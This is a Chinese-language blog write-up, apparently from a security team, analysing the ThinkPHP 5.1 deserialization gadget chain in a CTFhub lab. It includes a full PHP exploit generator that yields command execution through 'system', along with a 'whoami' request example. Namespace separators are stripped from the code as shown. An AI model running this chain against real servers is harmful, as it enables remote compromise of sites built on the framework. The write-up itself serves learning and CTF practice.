ThinkPHP 5.1反序列化分析和poc

admin 2022年7月4日17:43:48评论83 views字数 8594阅读28分38秒阅读模式
ThinkPHP 5.1反序列化分析和poc

点击上方蓝字关注我们

0x00 前言

最近挖不出漏洞了,所以来学习一下反序列化。毕竟测试的系统连个页面也没有,只给了十几个接口。之前对反序列化只停留在基础的原理层面,所以这次着重一下分析思想和如何写poc上面。所以就拿最经典的分析。

0x01 复现环境

windows10

phpstudy(apache+mysql)

thinkphp5.1

php7.3.4

CTFhub thinkphp5.1反序列化题目

0x02 CTFhub thinkphp

答题

开启环境后

ThinkPHP 5.1反序列化分析和poc

将代码下载到本地,利用phpstrom+phpstudy+xdebug搭建分析环境

查看一下writeup给的exp,放到本地环境生成序列化后的字符串。

ThinkPHP 5.1反序列化分析和poc

看一下环境中给出的序列化参数是在index/controller/Index.php 中str

ThinkPHP 5.1反序列化分析和poc

所以利用方式如下

ThinkPHP 5.1反序列化分析和poc

获取flag

ThinkPHP 5.1反序列化分析和poc

关于s=index/index/hello&a=whoami

为什么s是路由?

默认配置中,var_pathinfo默认为s,所以我们可以用$_GET[‘s’]来传递路由信息。application/index/controller/ 为默认控制器的根目录,当我们在路由中书写时,如果只使用默认控制器,只用写入 控制器文件名/方法。

'index/index/hello' //模块(index)/控制器(controller)/index.php/:function hello

为什么a是参数?

其实a,b,c等都可以,只要不与其他内定规则冲突

ThinkPHP 5.1反序列化分析和poc

0x03 基础知识

魔术方法

PoP链的核心,就是魔术方法。而php的魔术方法中涉及到反序列化的大致有以下几种:

__destruct: 析构函数,会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。一般来说,也是Pop链的入口。
__toString: 类对象遇到字符串操作时触发。
__wakeup:   类实例反序列化时触发。
__call:    当调用了类对象中不存在或者不可访问的方法时触发。
__callStatic:当调用了类对象中不可访问的静态方法时触发。
__get:     当获取了类对象中不可访问的属性时触发。   
__set:     当试图向类对象中不可访问的属性赋值时触发。
__invoke:   当对象调用为函数时触发

反序列化的常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

0x04 分析 

首先我们先看一下大佬画的攻击链

ThinkPHP 5.1反序列化分析和poc

然后我们来思考一下为什么会找到以上函数当链条

__destruct

目标:通过__destruct想法设法调用output类中的__call来实现命令执行

全局搜索__destruct

Windows.php里的__destruct可以作为入口点

thinkprocesspipesWindows 类的 __destruct 方法中,存在一个删除文件功能,而这里的文件名 $filename 变量是可控。

public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }
   
  //removeFiles
private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }

如果我们将一个类赋值给 $filename 变量,那么在 file_exists($filename) 的时候,就会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。

function file_exists(string $filename): bool {}

/**
* Tells whether the filename is writable
* @link https://php.net/manual/en/function.is-writable.php
* @param string $filename


__toString

全局搜索__toString

$name 变量来自 $this->append ,是可以控制的。

public function __toString()
    {
        return $this->toJson();
    }
   
    //跟进toJson
public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }
   
    //跟进toArray
public function toArray()
    {
        $item       = [];
        $hasVisible = false;
        ...
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {  //需要数组非空进入
            foreach ($this->append as $key => $name) { //遍历数组,且数组要是键值对的形式
                if (is_array($name)) {  //name需要是数组
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                }
                ...
        return $item;

通过查看getData函数我们可以知道$relation 变量来自 $this->data[$name] ,而这个变量是可以控制的。

   public function getAttr($name, &$item = null)
    {
        try {
            $notFound = false;
            $value    = $this->getData($name);
        } catch (InvalidArgumentException $e) {
            $notFound = true;
            $value    = null;
        }
       
        //跟进getData
public function getData($name = null)
    {
        if (is_null($name)) {
            return $this->data;
        } elseif (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        } elseif (array_key_exists($name, $this->relation)) {
            return $this->relation[$name];
        }
        throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
    }

所以 $relation->visible($name) 就变成了:可控类->visible(可控变量)

代码执行点分析

__call方法

只要对象可控,且调用了不存在的方法,就会调用__call方法,因为visible不存在,所以会调用 $relation的__call方法

全局搜索__call方法

Request类中的 __call方法 存在call_user_func_array,并且 $this->hook 可控,所以我们可以使用$this->hook[$method]去调用我们想要调用的函数。但是array_unshift()向数组插入新元素时会将新数组的值将被插入到数组的开头。无法控制构造pyaload。

    public function __call($method, $args)
    {
        if (array_key_exists($method, $this->hook)) {
            array_unshift($args, $this);
            return call_user_func_array($this->hook[$method], $args);
        }

 input -filterValue

在Thinkphp的Request类中还有一个功能filter功能,事实上Thinkphp多个RCE都与这个功能有关。我们可以尝试覆盖filter的方法去执行代码。

分析过 ThinkPHP 历史 RCE 漏洞的人可能知道, thinkRequest 类的 input 方法经常是链中一个非常棒的 Gadget ,相当于 call_user_func($filter,$data) 。但是前面我们说过, $args 数组变量的第一个元素,是一个固定死的类对象,所以这里我们不能直接调用 input 方法,而应该寻找调用 input 的方法。

public function input($data = [], $name = '', $default = null, $filter = '')
    {              // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }
     }

               
//filterValue
//通过后面的分析我们知道param函数可以获得$_GET数组并赋值给$this->param。会发现filterValue.value的值为第一个通过GET请求的值,而filters.key为GET请求的键,并且filters.filters就等于input.filters的值。
private function filterValue(&$value, $key, $filters)
    {
        $default = array_pop($filters);

        foreach ($filters as $filter) {
            if (is_callable($filter)) {
                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
                //
         }      

param

在找何处调用input时,发现了param()函数调用input,并且第一个参数的值$this->param可控

//param       
public function param($name = '', $default = null, $filter = '')
    {
            return $this->input($this->param, $name, $default, $filter);
    }

$this->param是由本来的$this->param,还有请求参数和URL地址中的参数合并。

但考虑到调用的函数是array_walk_recursive,数组中的每个成员都被回调函数调用,因此其实直接构造$this->param也是可以的,但是考虑到可以动态命令执行,因此就不构造$this->param了,而是把要执行的命令写在get参数里即第二个参数($this->get(false))。

   $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

isAjax

何处调用了param(),并且调用时$name为空,经过寻找找到了isAjax()

//isAjax   
public function isAjax($ajax = false)
    {
        $result = $this->param($this->config['var_ajax']) ? true : $result;
    }

在isAjax函数中,我们可以控制$this->config['var_ajax'],$this->config['var_ajax']可控就意味着param函数中的$name可控。param函数中的$name可控就意味着input函数中的$name可控。

$this->config['var_ajax']是配置文件中的值,只需要让他为空,那么他在调用$this->param时,默认的第一个参数$name就为空,之后再调用input时传入的$name就为空,从而绕过了input函数中的if判断。也就进入了$this->filterValue($data, $name, $filter);

exp

关于payload解释一下为什么使用$this->files=[new Pivot()];

//model中含有conversion  我们就可以调用Conversion的__toString
namespace think;
abstract class Model implements JsonSerializable, ArrayAccess
{
    use modelconcernAttribute;
    use modelconcernRelationShip;
    use modelconcernModelEvent;
    use modelconcernTimeStamp;
    use modelconcernConversion;
   
//Pivot继承model   在filename传入Pivot类对象 将Pivot类做字符串处理,从而调用Conversion的__toString

namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{

namespace think;
abstract class Model{
    protected $append = [];   //传入数组
    private $data = [];
    function __construct(){
        $this->append = ["ethan"=>["calc.exe","calc"]];   //数组非空且为键值对  name需要是数组即["calc.exe","calc"]
        $this->data = ["ethan"=>new Request()];   //Request()里没有visible函数,就会调用call函数
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单请求类型伪装变量
        'var_method'       => '_method',
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
        // 表单pjax伪装变量
        'var_pjax'         => '_pjax',
        // PATHINFO变量名 用于兼容模式
        'var_pathinfo'     => 's',
        // 兼容PATH_INFO获取
        'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
        // 默认全局过滤方法 用逗号分隔多个
        'default_filter'   => '',
        // 域名根,如thinkphp.cn
        'url_domain_root'  => '',
        // HTTPS代理标识
        'https_agent_name' => '',
        // IP代理获取标识
        'http_agent_ip'    => 'HTTP_X_REAL_IP',
        // URL伪静态后缀
        'url_html_suffix'  => 'html',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>''];
        $this->hook = ["visible"=>[$this,"isAjax"]];   //hook调用filterValue的call_user_func
    }
}
namespace thinkprocesspipes;

use thinkmodelconcernConversion;
use thinkmodelPivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace thinkmodel;

use thinkModel;

class Pivot extends Model
{
}
use thinkprocesspipesWindows;
echo urlencode(serialize(new Windows()));
?>

参考链接:

https://paper.seebug.org/1480/

https://xz.aliyun.com/t/6467

https://www.freebuf.com/articles/web/284091.html

https://blog.csdn.net/weixin_54902210/article/details/124874209

https://blog.csdn.net/qq_43380549/article/details/101265818

https://www.cnblogs.com/zpchcbd/p/12642225.html

☆ END ☆
ThinkPHP 5.1反序列化分析和poc

灼剑(Tsojan)

安全团队



ThinkPHP 5.1反序列化分析和poc


ThinkPHP 5.1反序列化分析和poc


原文始发于微信公众号(灼剑安全团队):ThinkPHP 5.1反序列化分析和poc

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月4日17:43:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP 5.1反序列化分析和pochttp://cn-sec.com/archives/1155352.html

发表评论

匿名网友 填写信息